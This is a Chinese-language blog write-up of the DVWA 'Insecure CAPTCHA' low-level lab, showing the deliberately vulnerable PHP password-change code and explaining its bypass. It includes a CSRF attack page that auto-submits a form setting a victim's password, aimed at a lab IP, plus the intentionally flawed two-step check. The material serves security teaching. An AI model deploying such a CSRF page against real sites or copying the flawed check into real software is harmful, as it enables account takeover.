其他分享
首页 > 其他分享> > Insecure CAPTCHA

Insecure CAPTCHA

作者：互联网

Insecure CAPTCHA

不安全的验证流程

【low】

Google提供reCAPTCHA服务:

1.png 
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];	//获取密码
    $pass_conf = $_POST[ 'password_conf' ];	//获取确认密码

    // Check CAPTCHA from 3rd party	//检查验证码
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match 
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

参数$privkey是服务器申请的private key ，$remoteip是用户的ip，$challenge 来自前端页面 ，$response函数返回ReCaptchaResponse class的实例，ReCaptchaResponse 类有2个属性 ：

$is_valid是布尔型的，表示校验是否有效，

$error是返回的错误代码。

服务器将改密操作分成了两步：

1.检查用户输入的验证码，验证通过后，服务器返回表单；

2.客户端提交post请求，服务器完成更改密码的操作。

【漏洞原理】

服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。

【漏洞利用】

1.构造参数绕过验证过程

抓包发包

2.由于没有任何的防CSRF机制，我们可以轻易地构造攻击页面，页面代码如下

<html>      
<body onl oad="document.getElementById('transfer').submit()">   
  <div>    
    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/" 
		<input type="hidden" name="password_new" value="password">
		<input type="hidden" name="password_conf" value="password">     
		<input type="hidden" name="step" value="2"      
		<input type="hidden" name="Change" value="Change">     
	</form>        
  </div>        
</body>
</html>

标签：Insecure,mysqli,CAPTCHA,ston,GLOBALS,pass,new,___
来源： https://www.cnblogs.com/dem0n/p/14966693.html